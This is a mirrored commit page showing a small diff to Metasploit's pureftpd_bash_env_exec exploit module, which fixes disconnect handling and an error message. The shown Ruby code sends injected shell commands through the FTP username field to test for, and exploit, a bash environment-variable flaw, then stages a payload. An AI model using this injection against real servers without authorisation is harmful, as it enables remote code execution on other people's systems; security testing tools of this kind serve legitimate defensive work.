mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
Land #4031, fixes for pureftpd_bash_env_exec
This commit is contained in:
commit
e242bf914f
@ -75,11 +75,12 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||
random_id = (rand(100) + 1)
|
||||
command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end"
|
||||
if send_command(username, command) =~ /^2\d\d ok./i
|
||||
return CheckCode::Safe if banner !~ /pure-ftpd/i
|
||||
disconnect
|
||||
return CheckCode::Safe if banner !~ /pure-ftpd/i
|
||||
|
||||
command = "echo auth_ok:0; echo end"
|
||||
if send_command(username, command) =~ /^5\d\d login authentication failed/i
|
||||
disconnect
|
||||
return CheckCode::Vulnerable
|
||||
end
|
||||
end
|
||||
@ -98,7 +99,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||
# Cannot use generic/shell_reverse_tcp inside an elf
|
||||
# Checking before proceeds
|
||||
if generate_payload_exe.blank?
|
||||
fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload")
|
||||
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload")
|
||||
end
|
||||
|
||||
execute_cmdstager(linemax: 500)
|
||||
|
Loading…
Reference in New Issue
Block a user